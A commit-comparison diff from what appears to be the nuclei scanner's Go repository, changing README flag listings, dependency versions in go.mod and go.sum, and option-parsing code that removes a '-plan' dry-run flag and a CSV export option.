Compare commits

..
Author SHA1 Message Date
Mzack9999 fe07fef702 ipv6 redirector 2026-11-09 10:50:52 +01:00
Mzack9999 7bce568ff2 bump dependencies 2026-11-08 13:01:22 +01:00
49 changed files with 187 additions and 3348 deletions

No files matched your search

+1 -1
View File
@@ -17,4 +17,4 @@ jobs:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v7
- uses: crate-ci/[email protected]2.0
- uses: crate-ci/[email protected]1.1
-2
View File
@@ -166,7 +166,6 @@ TEMPLATES:
-w, -workflows string[] list of workflow or workflow directory to run (comma-separated, file)
-wurl, -workflow-url string[] workflow url or list containing workflow urls to run (comma-separated, file)
-validate validate the passed templates to nuclei
-plan string write the work a scan would do with its estimated cost to a jsonl file, then exit without sending requests to any target
-nss, -no-strict-syntax disable strict syntax check on templates
-td, -template-display displays the templates content
-tl list all templates matching current filters
@@ -220,7 +219,6 @@ OUTPUT:
-se, -sarif-export string file to export results in SARIF format
-je, -json-export string file to export results in JSON format
-jle, -jsonl-export string file to export results in JSONL(ine) format
-ce, -csv-export string file to export results in CSV format
-pe, -pdf-export string file to export results in PDF format
-rd, -redact string[] redact given list of keys from query parameter, request header and body
-nrd, -no-redact disable the built-in redaction of credential headers (Authorization, Cookie, Set-Cookie, ...) in output; keys given with -redact are still redacted
-1
View File
@@ -164,7 +164,6 @@ TEMPLATES:
-w, -workflows string[] list of workflow or workflow directory to run (comma-separated, file)
-wurl, -workflow-url string[] workflow url or list containing workflow urls to run (comma-separated, file)
-validate validate the passed templates to nuclei
-plan string write the work a scan would do with its estimated cost to a jsonl file, then exit without sending requests to any target
-nss, -no-strict-syntax disable strict syntax check on templates
-td, -template-display displays the templates content
-tl list all templates matching current filters
-1
View File
@@ -164,7 +164,6 @@ TEMPLATES:
-w, -workflows string[] list of workflow or workflow directory to run (comma-separated, file)
-wurl, -workflow-url string[] workflow url or list containing workflow urls to run (comma-separated, file)
-validate validate the passed templates to nuclei
-plan string write the work a scan would do with its estimated cost to a jsonl file, then exit without sending requests to any target
-nss, -no-strict-syntax disable strict syntax check on templates
-td, -template-display displays the templates content
-tl list all templates matching current filters
-1
View File
@@ -181,7 +181,6 @@ TEMPLATES:
-w, -workflows string[] list of workflow or workflow directory to run (comma-separated, file)
-wurl, -workflow-url string[] workflow url or list containing workflow urls to run (comma-separated, file)
-validate validate the passed templates to nuclei
-plan string write the work a scan would do with its estimated cost to a jsonl file, then exit without sending requests to any target
-nss, -no-strict-syntax disable strict syntax check on templates
-td, -template-display displays the templates content
-tl list all templates matching current filters
-1
View File
@@ -164,7 +164,6 @@ TEMPLATES:
-w, -workflows string[] list of workflow or workflow directory to run (comma-separated, file)
-wurl, -workflow-url string[] workflow url or list containing workflow urls to run (comma-separated, file)
-validate validate the passed templates to nuclei
-plan string write the work a scan would do with its estimated cost to a jsonl file, then exit without sending requests to any target
-nss, -no-strict-syntax disable strict syntax check on templates
-td, -template-display displays the templates content
-tl list all templates matching current filters
-1
View File
@@ -164,7 +164,6 @@ TEMPLATES:
-w, -workflows string[] list of workflow or workflow directory to run (comma-separated, file)
-wurl, -workflow-url string[] workflow url or list containing workflow urls to run (comma-separated, file)
-validate validate the passed templates to nuclei
-plan string write the work a scan would do with its estimated cost to a jsonl file, then exit without sending requests to any target
-nss, -no-strict-syntax disable strict syntax check on templates
-td, -template-display displays the templates content
-tl list all templates matching current filters
-1
View File
@@ -164,7 +164,6 @@ TEMPLATES:
-w, -workflows string[] list of workflow or workflow directory to run (comma-separated, file)
-wurl, -workflow-url string[] workflow url or list containing workflow urls to run (comma-separated, file)
-validate validate the passed templates to nuclei
-plan string write the work a scan would do with its estimated cost to a jsonl file, then exit without sending requests to any target
-nss, -no-strict-syntax disable strict syntax check on templates
-td, -template-display displays the templates content
-tl list all templates matching current filters
-1
View File
@@ -164,7 +164,6 @@ TEMPLATES:
-w, -workflows string[] list of workflow or workflow directory to run (comma-separated, file)
-wurl, -workflow-url string[] workflow url or list containing workflow urls to run (comma-separated, file)
-validate validate the passed templates to nuclei
-plan string write the work a scan would do with its estimated cost to a jsonl file, then exit without sending requests to any target
-nss, -no-strict-syntax disable strict syntax check on templates
-td, -template-display displays the templates content
-tl list all templates matching current filters
-1
View File
@@ -164,7 +164,6 @@ TEMPLATES:
-w, -workflows string[] list of workflow or workflow directory to run (comma-separated, file)
-wurl, -workflow-url string[] workflow url or list containing workflow urls to run (comma-separated, file)
-validate validate the passed templates to nuclei
-plan string write the work a scan would do with its estimated cost to a jsonl file, then exit without sending requests to any target
-nss, -no-strict-syntax disable strict syntax check on templates
-td, -template-display displays the templates content
-tl list all templates matching current filters
-2
View File
@@ -313,7 +313,6 @@ on extensive configurability, massive extensibility and ease of use.`)
flagSet.StringSliceVarP(&options.Workflows, "workflows", "w", nil, "list of workflow or workflow directory to run (comma-separated, file)", goflags.FileCommaSeparatedStringSliceOptions),
flagSet.StringSliceVarP(&options.WorkflowURLs, "workflow-url", "wurl", nil, "workflow url or list containing workflow urls to run (comma-separated, file)", goflags.FileCommaSeparatedStringSliceOptions),
flagSet.BoolVar(&options.Validate, "validate", false, "validate the passed templates to nuclei"),
flagSet.StringVar(&options.PlanFile, "plan", "", "write the work a scan would do with its estimated cost to a jsonl file, then exit without sending requests to any target"),
flagSet.BoolVarP(&options.NoStrictSyntax, "no-strict-syntax", "nss", false, "disable strict syntax check on templates"),
flagSet.BoolVarP(&options.TemplateDisplay, "template-display", "td", false, "displays the templates content"),
flagSet.BoolVar(&options.TemplateList, "tl", false, "list all templates matching current filters"),
@@ -370,7 +369,6 @@ on extensive configurability, massive extensibility and ease of use.`)
flagSet.StringVarP(&options.SarifExport, "sarif-export", "se", "", "file to export results in SARIF format"),
flagSet.StringVarP(&options.JSONExport, "json-export", "je", "", "file to export results in JSON format"),
flagSet.StringVarP(&options.JSONLExport, "jsonl-export", "jle", "", "file to export results in JSONL(ine) format"),
flagSet.StringVarP(&options.CSVExport, "csv-export", "ce", "", "file to export results in CSV format"),
flagSet.StringVarP(&options.PDFExport, "pdf-export", "pe", "", "file to export results in PDF format"),
flagSet.StringSliceVarP(&options.Redact, "redact", "rd", nil, "redact given list of keys from query parameter, request header and body", goflags.CommaSeparatedStringSliceOptions),
flagSet.BoolVarP(&options.NoRedact, "no-redact", "nrd", false, "disable the built-in redaction of credential headers (Authorization, Cookie, Set-Cookie, ...) in output; keys given with -redact are still redacted"),
+11 -11
View File
@@ -18,7 +18,7 @@ require (
github.com/alecthomas/chroma/v2 v2.27.0
github.com/alexsnet/go-vnc v0.1.0
github.com/alitto/pond v1.9.2
github.com/andybalholm/brotli v1.2.7
github.com/andybalholm/brotli v1.2.0
github.com/andygrunwald/go-jira v1.16.1
github.com/antchfx/htmlquery v1.3.7
github.com/antchfx/xmlquery v1.4.4
@@ -63,7 +63,7 @@ require (
github.com/jhump/protoreflect v1.17.0
github.com/julienschmidt/httprouter v1.3.0
github.com/kitabisa/go-ci v1.0.3
github.com/klauspost/compress v1.20.2
github.com/klauspost/compress v1.18.7
github.com/leslie-qiwa/flat v0.0.0-20230424180412-f9d1cf014baa
github.com/lib/pq v1.12.3
github.com/logrusorgru/aurora/v4 v4.0.0
@@ -96,7 +96,7 @@ require (
github.com/projectdiscovery/interactsh v1.4.1
github.com/projectdiscovery/mapcidr v1.1.97
github.com/projectdiscovery/n3iwf v0.0.0-20230523120440-b8cd232ff1f5
github.com/projectdiscovery/networkpolicy v0.1.56
github.com/projectdiscovery/networkpolicy v0.1.58
github.com/projectdiscovery/ratelimit v0.0.94
github.com/projectdiscovery/rawhttp v0.2.0
github.com/projectdiscovery/rdap v0.9.0
@@ -106,7 +106,7 @@ require (
github.com/projectdiscovery/tlsx v1.4.3-0.20261020052910-acb80c2c7c75
github.com/projectdiscovery/uncover v1.2.1
github.com/projectdiscovery/useragent v0.0.109
github.com/projectdiscovery/utils v0.11.13-0.20261103094816-5c0b20e35350
github.com/projectdiscovery/utils v0.11.13
github.com/projectdiscovery/wappalyzergo v0.3.6
github.com/projectdiscovery/yamldoc-go v1.0.7
github.com/redis/go-redis/v9 v9.19.0
@@ -129,14 +129,14 @@ require (
go.mongodb.org/mongo-driver v1.17.9
go.uber.org/multierr v1.11.0
golang.org/x/exp v0.0.0-20260527015227-08cc5374adb3
golang.org/x/net v0.62.0
golang.org/x/net v0.59.0
golang.org/x/oauth2 v0.36.0
golang.org/x/sync v0.24.0
golang.org/x/sys v0.49.0
golang.org/x/term v0.47.0
golang.org/x/text v0.43.0
golang.org/x/sync v0.23.0
golang.org/x/sys v0.48.0
golang.org/x/term v0.46.0
golang.org/x/text v0.42.0
golang.org/x/time v0.15.0
golang.org/x/tools v0.51.0
golang.org/x/tools v0.49.0
google.golang.org/grpc v1.83.2
google.golang.org/protobuf v1.36.11
gopkg.in/yaml.v3 v3.0.1
@@ -455,7 +455,7 @@ require (
go4.org v0.0.0-20230225012048-214862532bf5 // indirect
goftp.io/server/v2 v2.0.1 // indirect
golang.org/x/arch v0.3.0 // indirect
golang.org/x/crypto v0.58.0 // indirect
golang.org/x/crypto v0.57.0 // indirect
golang.org/x/mod v0.41.0 // indirect
google.golang.org/api v0.264.0 // indirect
google.golang.org/genproto v0.0.0-20260128011058-8636f8732409 // indirect
+22 -22
View File
@@ -170,8 +170,8 @@ github.com/alicebob/miniredis/v2 v2.38.0 h1:nZAzCR+Lj+Vxk4ZXzm2NuKq2O33RXj1XxJ2e
github.com/alicebob/miniredis/v2 v2.38.0/go.mod h1:TcL7YfarKPGDAthEtl5NBeHZfeUQj6OXMm/+iu5cLMM=
github.com/alitto/pond v1.9.2 h1:9Qb75z/scEZVCoSU+osVmQ0I0JOeLfdTDafrbcJ8CLs=
github.com/alitto/pond v1.9.2/go.mod h1:xQn3P/sHTYcU/1BR3i86IGIrilcrGC2LiS+E2+CJWsI=
github.com/andybalholm/brotli v1.2.7 h1:UgafRPGMam5ySHfRkhthMqOFA6IFoeF3D7mWIDLjG5A=
github.com/andybalholm/brotli v1.2.7/go.mod h1:rzTDkvFWvIrjDXZHkuS16NPggd91W3kUSvPlQ1pLaKY=
github.com/andybalholm/brotli v1.2.0 h1:ukwgCxwYrmACq68yiUqwIWnGY0cTPox/M94sVwToPjQ=
github.com/andybalholm/brotli v1.2.0/go.mod h1:rzTDkvFWvIrjDXZHkuS16NPggd91W3kUSvPlQ1pLaKY=
github.com/andybalholm/cascadia v1.3.4 h1:vM2lgh0Vru9Vwyfm4cQqWP2HHMW0u0+2PAW7Q38Qufg=
github.com/andybalholm/cascadia v1.3.4/go.mod h1:BLRmbRjpEtNKieZOCCvYj4RqN+KRA41GBe/5O+G93kM=
github.com/andygrunwald/go-jira v1.16.1 h1:WoQEar5XoDRAibOgKzTFELlPNlKAtnfWr296R9zdFLA=
@@ -749,8 +749,8 @@ github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+o
github.com/kitabisa/go-ci v1.0.3 h1:JmIUIvcercRQc/9x/v02ydCCqU4MadSHaNaOF8T2pGA=
github.com/kitabisa/go-ci v1.0.3/go.mod h1:e3wBSzaJbcifXrr/Gw2ZBLn44MmeqP5WySwXyHlCK/U=
github.com/klauspost/compress v1.4.1/go.mod h1:RyIbtBH6LamlWaDj8nUwkbUhJ87Yi3uG0guNDohfE1A=
github.com/klauspost/compress v1.20.2 h1:v5tiZvm1KGLyg5d5oXdXe3lsSPrbEUiKoXGia//I7Qo=
github.com/klauspost/compress v1.20.2/go.mod h1:LUdAzn7YLVvxLpc7y3V1m40wESHTgc1422pwwBSKYuI=
github.com/klauspost/compress v1.18.7 h1:aUyZsS4kH3QTKurYhAOwAHxllVPnOthb3vPfnF1Ehjw=
github.com/klauspost/compress v1.18.7/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ=
github.com/klauspost/cpuid v1.2.0/go.mod h1:Pj4uuM528wm8OyEC2QMXAi2YiTZ96dNQPGgoMS4s3ek=
github.com/klauspost/cpuid/v2 v2.3.0 h1:S4CRMLnYUhGeDFDqkGriYKdfoFlDnMtqTiI/sFzhA9Y=
github.com/klauspost/cpuid/v2 v2.3.0/go.mod h1:hqwkgyIinND0mEev00jJYCxPNVRVXFQeu1XKlok6oO0=
@@ -973,8 +973,8 @@ github.com/projectdiscovery/mapcidr v1.1.97 h1:7FkxNNVXp+m1rIu5Nv/2SrF9k4+LwP8Qu
github.com/projectdiscovery/mapcidr v1.1.97/go.mod h1:9dgTJh1SP02gYZdpzMjm6vtYFkEHQHoTyaVNvaeJ7lA=
github.com/projectdiscovery/n3iwf v0.0.0-20230523120440-b8cd232ff1f5 h1:L/e8z8yw1pfT6bg35NiN7yd1XKtJap5Nk6lMwQ0RNi8=
github.com/projectdiscovery/n3iwf v0.0.0-20230523120440-b8cd232ff1f5/go.mod h1:pGW2ncnTxTxHtP9wzcIJAB+3/NMp6IiuQWd2NK7K+oc=
github.com/projectdiscovery/networkpolicy v0.1.56 h1:M/L421HFuN707oX0tLTzKZY46uRyaKwxAeyi0q8PlxI=
github.com/projectdiscovery/networkpolicy v0.1.56/go.mod h1:N5bXm8L3UsDw51CeA1nhTsGEbQMbgL5lXTiIU013xd0=
github.com/projectdiscovery/networkpolicy v0.1.58 h1:usZRNmMw5eNacrw0lDENWIz7N7EInVldS1blgH2q94A=
github.com/projectdiscovery/networkpolicy v0.1.58/go.mod h1:Ky0GOIqAL666JBHyHeIsQ5rjkET902I6XjGEpvCVx9s=
github.com/projectdiscovery/ratelimit v0.0.94 h1:2qciSuUxarn73YGICZeprZtjrwyAH+0iVpdKzKCXoXE=
github.com/projectdiscovery/ratelimit v0.0.94/go.mod h1:GAerX6s+eWRuACedHRv2/xmMtlW+VahZmbRstQh0sS0=
github.com/projectdiscovery/rawhttp v0.2.0 h1:TGiHC5hydL97/zoi0WjEuNrfO6Gjtg9LeXndUf1Cq3M=
@@ -995,8 +995,8 @@ github.com/projectdiscovery/uncover v1.2.1 h1:8U46T/96CLT7BPoXBgkTvWqB06lOyeTSLv
github.com/projectdiscovery/uncover v1.2.1/go.mod h1:0p8onrWxfpXQEYs90ZDzTSpu1107gWmodX1NWqu/+z4=
github.com/projectdiscovery/useragent v0.0.109 h1:b86BPdZvmgbJousa04jAugDRY4Y+rAvEamE0TFCPmeE=
github.com/projectdiscovery/useragent v0.0.109/go.mod h1:sRyBqDAcD31RKYrO8fyXGowLd36fNwY1g0MNW9mp7zk=
github.com/projectdiscovery/utils v0.11.13-0.20261103094816-5c0b20e35350 h1:uXqpYa6XKV9dCvoti9PbSgIWIsBKPu5YKMywB9G4q0Q=
github.com/projectdiscovery/utils v0.11.13-0.20261103094816-5c0b20e35350/go.mod h1:TJgsyVjB02CavwZVFzUzPg6YOSJXQxLhL808JCiQKlU=
github.com/projectdiscovery/utils v0.11.13 h1:Mn3/rtyQvtn8XZy0UnVkxbAmn0afbHtWuMHUEztwWSw=
github.com/projectdiscovery/utils v0.11.13/go.mod h1:TJgsyVjB02CavwZVFzUzPg6YOSJXQxLhL808JCiQKlU=
github.com/projectdiscovery/wappalyzergo v0.3.6 h1:1FXCMeCa1xVu2zaW+eeBcbVxtlMStqGOlKcMLyh2pzI=
github.com/projectdiscovery/wappalyzergo v0.3.6/go.mod h1:4E6+fh/ckaY3wo5tlM7lNYSkhuTYRHzu2YmGIRraXP0=
github.com/projectdiscovery/yamldoc-go v1.0.7 h1:Odmjd1o4EkMff2F6QHi1dIYPIQPZUFy24YqmQCprmTk=
@@ -1335,8 +1335,8 @@ golang.org/x/crypto v0.13.0/go.mod h1:y6Z2r+Rw4iayiXXAIxJIDAJ1zMW4yaTpebo8fPOliY
golang.org/x/crypto v0.19.0/go.mod h1:Iy9bg/ha4yyC70EfRS8jz+B6ybOBKMaSxLj6P6oBDfU=
golang.org/x/crypto v0.23.0/go.mod h1:CKFgDieR+mRhux2Lsu27y0fO304Db0wZe70UKqHu0v8=
golang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk=
golang.org/x/crypto v0.58.0 h1:COkYLr4k7nDI4r6QtMML2AfzeIswWHAJthLS6K/M/54=
golang.org/x/crypto v0.58.0/go.mod h1:Xh+kl5A+M0gMiWDytH2Hhr5Z7WbNCpv/eB/EFgfSk+w=
golang.org/x/crypto v0.57.0 h1:3ZVCjf8Ggz7zneR/EHRVx68Ctf+2pmIMP2UFhh9cC6M=
golang.org/x/crypto v0.57.0/go.mod h1:Fdz0i5U6CoizGwLda9DttjSk6qlZo25zYNtR+ycvuZA=
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8=
@@ -1424,8 +1424,8 @@ golang.org/x/net v0.15.0/go.mod h1:idbUs1IY1+zTqbi8yxTbhexhEEk5ur9LInksu6HrEpk=
golang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44=
golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM=
golang.org/x/net v0.33.0/go.mod h1:HXLR5J+9DxmrqMwG9qjGCxZ+zKXxBru04zlTvWlWuN4=
golang.org/x/net v0.62.0 h1:18ELalfM5+XNRwzM2nYqXsZQ9ByS1uhj2O/U7+5jqRY=
golang.org/x/net v0.62.0/go.mod h1:WgDCOTH8iwtB66T4/GfI94AHo/hhdb7Hah9NDseQfiI=
golang.org/x/net v0.59.0 h1:5zfYln+w5XCxwrnMMJPufRgNoXEaGxl0wo5GqPXyues=
golang.org/x/net v0.59.0/go.mod h1:2DA/G1UfVbCpQPeWTmMPGY7Cs2PkBkwu743bVX5PIVg=
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
@@ -1452,8 +1452,8 @@ golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y=
golang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
golang.org/x/sync v0.24.0 h1:iqiDrGoDgyuvAKrhLQthUEzU/R378N78gXbBjxed7oA=
golang.org/x/sync v0.24.0/go.mod h1:sUUOizhqBxiL6pEWpqNLUiaJn1ShEbZ6BBqskPbjZm0=
golang.org/x/sync v0.23.0 h1:KameEIfc1IkluZyXWLn39Wd4tURc6GbCiISGiZm2bQk=
golang.org/x/sync v0.23.0/go.mod h1:sUUOizhqBxiL6pEWpqNLUiaJn1ShEbZ6BBqskPbjZm0=
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
@@ -1518,8 +1518,8 @@ golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.49.0 h1:XbzkgYJHdqh/8m2Uu0W/dQv8nktxx4BFHp1M0gROTXA=
golang.org/x/sys v0.49.0/go.mod h1:hNLxWAXmnKAxqDtdwIYC4bM9oQPEecfsnNMuSxOs3og=
golang.org/x/sys v0.48.0 h1:bbX/i/6MgT9BVLM9RT1thmxL04yeTAhbEz4SyadbXoo=
golang.org/x/sys v0.48.0/go.mod h1:hNLxWAXmnKAxqDtdwIYC4bM9oQPEecfsnNMuSxOs3og=
golang.org/x/telemetry v0.0.0-20240228155512-f48c80bd79b2/go.mod h1:TeRTkGYfJXctD9OcfyVLyj2J3IxLnKwHJR8f4D8a3YE=
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
@@ -1532,8 +1532,8 @@ golang.org/x/term v0.12.0/go.mod h1:owVbMEjm3cBLCHdkQu9b1opXd4ETQWc3BhuQGKgXgvU=
golang.org/x/term v0.17.0/go.mod h1:lLRBjIVuehSbZlaOtGMbcMncT+aqLLLmKrsjNrUguwk=
golang.org/x/term v0.20.0/go.mod h1:8UkIAJTvZgivsXaD6/pH6U9ecQzZ45awqEOzuCvwpFY=
golang.org/x/term v0.27.0/go.mod h1:iMsnZpn0cago0GOrHO2+Y7u7JPn5AylBrcoWkElMTSM=
golang.org/x/term v0.47.0 h1:cpyOwQkr2Nzxe2p6KnrTG7Ei2wtzjsuSjhpXXepZ/BM=
golang.org/x/term v0.47.0/go.mod h1:efAfAuG6RKABvg1ArGebRkvX6LXul14SM67o2e4mUCY=
golang.org/x/term v0.46.0 h1:3+OXuTbaKDgwk8jTi3aSLHRlmWqHEUDUtxnbFigO4YE=
golang.org/x/term v0.46.0/go.mod h1:+K02xbkittuwc0Am4abfA3Fc+XRGXkvBXNO88NCXPoc=
golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
@@ -1550,8 +1550,8 @@ golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE=
golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ=
golang.org/x/text v0.43.0 h1:1QivrlhwAsnMOcqgOdl9my7s9OyZl8O5/UGUTJVXoWc=
golang.org/x/text v0.43.0/go.mod h1:hbSIYA/amXcRXTFSZqh8tWHEoqRvvbKPJ2uz/KU+a+s=
golang.org/x/text v0.42.0 h1:JbOZXgfeCPU9gacVtYliJqOhD+zhrEqK4LfdpmlUZqI=
golang.org/x/text v0.42.0/go.mod h1:ojzP1Z+2QtioaF8DTtO8K5q7JWVVYwZKenzujK0Zd0E=
golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
@@ -1603,8 +1603,8 @@ golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc
golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=
golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58=
golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk=
golang.org/x/tools v0.51.0 h1:k4Xc/1Om9jwkBJBo4NVLMSARBoWtK10mx+W5BnXCeAI=
golang.org/x/tools v0.51.0/go.mod h1:9eEncMayCV6zRMGhR5eZEC2iBx98qWcF1HZ9Z7wJOoA=
golang.org/x/tools v0.49.0 h1:3NI7VXzL9+1WZD52Dx2ttoPwD5DWrFGpl9mFZDlmisI=
golang.org/x/tools v0.49.0/go.mod h1:SJNXV9DBKT0UbdttsQjbfJlAE/q+y36++zo3uL3N0Oo=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
+7 -43
View File
@@ -25,7 +25,6 @@ import (
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/utils/vardump"
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/headless/engine"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/csv"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonexporter"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonl"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown"
@@ -120,14 +119,6 @@ func ParseOptions(options *types.Options) {
options.Logger.Debug().Msgf("Store response directory specified, enabling \"store-resp\" flag automatically\n")
options.StoreResponse = true
}
// Derived before validation: -uncover-query turns uncover on, and -plan
// has to reject that before any target lookup starts.
if options.UncoverQuery != nil {
options.Uncover = true
if len(options.UncoverEngine) == 0 {
options.UncoverEngine = append(options.UncoverEngine, "shodan")
}
}
// Validate the options passed by the user and if any
// invalid options have been used, exit.
if err := ValidateOptions(options); err != nil {
@@ -147,6 +138,13 @@ func ParseOptions(options *types.Options) {
_ = os.Setenv("GITHUB_TOKEN", options.GitHubToken)
}
if options.UncoverQuery != nil {
options.Uncover = true
if len(options.UncoverEngine) == 0 {
options.UncoverEngine = append(options.UncoverEngine, "shodan")
}
}
if options.OfflineHTTP {
options.DisableHTTPProbe = true
}
@@ -164,9 +162,6 @@ func ValidateOptions(options *types.Options) error {
}
return errors.Wrap(errors.New(strings.Join(errs, ", ")), "validation failed for these fields")
}
if err := validatePlanOptions(options); err != nil {
return err
}
if options.Verbose && options.Silent {
return errors.New("both verbose and silent mode specified")
}
@@ -372,18 +367,6 @@ func createReportingOptions(options *types.Options) (*reporting.Options, error)
}
}
}
if options.CSVExport != "" {
// Combine the CLI options with the config file options with the CLI options taking precedence
if reportingOptions.CSVExporter != nil {
reportingOptions.CSVExporter.File = options.CSVExport
reportingOptions.CSVExporter.OmitRaw = options.OmitRawRequests
} else {
reportingOptions.CSVExporter = &csv.Options{
File: options.CSVExport,
OmitRaw: options.OmitRawRequests,
}
}
}
if options.PDFExport != "" {
if reportingOptions.PDFExporter != nil {
reportingOptions.PDFExporter.File = options.PDFExport
@@ -553,22 +536,3 @@ func getBoolEnvValue(key string) bool {
value := os.Getenv(key)
return strings.EqualFold(value, "true")
}
// validatePlanOptions rejects options that change the templates or targets
// only once scanning starts, which a plan written beforehand cannot show.
func validatePlanOptions(options *types.Options) error {
if options.PlanFile == "" {
return nil
}
switch {
case options.AutomaticScan:
return errors.New("-plan cannot be used with -automatic-scan, which picks templates while scanning")
case options.Uncover || len(options.UncoverQuery) > 0:
return errors.New("-plan cannot be used with -uncover, which finds targets over the network")
case options.PreflightPortScan:
return errors.New("-plan cannot be used with -preflight-portscan, which drops targets after scanning their ports")
case options.DASTServer || options.DASTProxy:
return errors.New("-plan cannot be used with -dast-server or -dast-proxy, which start a server instead of writing a plan")
}
return nil
}
-98
View File
@@ -1,98 +0,0 @@
package runner
import (
"bufio"
"os"
"slices"
"github.com/projectdiscovery/nuclei/v3/pkg/catalog/loader"
"github.com/projectdiscovery/nuclei/v3/pkg/core"
"github.com/projectdiscovery/nuclei/v3/pkg/templates/types"
"github.com/projectdiscovery/nuclei/v3/pkg/utils/json"
)
